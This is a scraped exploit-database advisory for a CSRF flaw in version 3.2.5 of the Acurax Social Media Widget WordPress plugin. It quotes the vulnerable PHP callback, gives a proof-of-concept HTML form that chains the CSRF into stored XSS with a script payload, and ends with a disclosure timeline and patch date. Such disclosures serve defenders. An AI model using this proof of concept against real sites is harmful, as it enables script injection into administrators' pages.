扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 |
* Exploit Title: Social Media Widget by Acurax [CSRF] * Discovery Date: 2017-12-12 * Exploit Author: Panagiotis Vagenas * Author Link: https://twitter.com/panVagenas * Vendor Homepage: http://www.acurax.com/ * Software Link: https://wordpress.org/plugins/acurax-social-media-widget * Version: 3.2.5 * Tested on: WordPress 4.9.1 * Category: WebApps, WordPress Description ----------- Plugin implements AJAX action <code>acx_asmw_saveorder</code> which calls back the function <code>acx_asmw_saveorder_callback</code>. The later does not implement any anti-CSRF controls thus allowing a malicious actor to perform an attack that could update plugin specific option <code>social_widget_icon_array_order</code>. Vulnerable param is <code>$_POST['recordsArray']</code> and it is saved as an option with the name <code>social_widget_icon_array_order</code>. Leveraging a CSRF could lead to a Persistent XSS (see PoC). Payload will be served when a user with the right privileges visits plugin's settings page (<code>wp-admin/admin.php?page=Acurax-Social-Widget-Settings</code>). Vulnerable code is located in file acurax-social-media-widget/function.php</code> line 993: </code><code> function acx_asmw_saveorder_callback() { global $wpdb; $social_widget_icon_array_order = $_POST['recordsArray']; if ( current_user_can( 'manage_options' ) ) { $social_widget_icon_array_order = serialize( $social_widget_icon_array_order ); update_option( 'social_widget_icon_array_order', $social_widget_icon_array_order ); echo "<div id='acurax_notice' align='center' style='width: 420px; font-family: arial; font-weight: normal; font-size: 22px;'>"; echo "Social Media Icon's Order Saved"; echo "</div><br>"; } die(); // this is required to return a proper result } add_action( 'wp_ajax_acx_asmw_saveorder', 'acx_asmw_saveorder_callback' ); </code><code> PoC --- In this PoC we leverage the CSRF vulnerabilityt o perform a Persistent XSS attack. The payload is available in plugin's settings. </code><code> <pre class="lang:html decode:true "><form method="post" action="http://vuln.test/wp-admin/admin-ajax.php"> <input type="hidden" name="action" value="acx_asmw_saveorder"> <input type="text" name="recordsArray[]" value="1'><script>alert(1);</script>"> <button type="submit" value="Submit">Submit</button> </form> </code><code> Timeline -------- 1. **2017-12-12**: Discovered 2. **2017-12-12**: Tried to contact plugin's vendor through the contact form on their website 3. **2017-12-12**: Vendor replied 4. **2017-12-12**: Vendor Received Details 5. **2018-01-02**: Patch released |
体验盒子
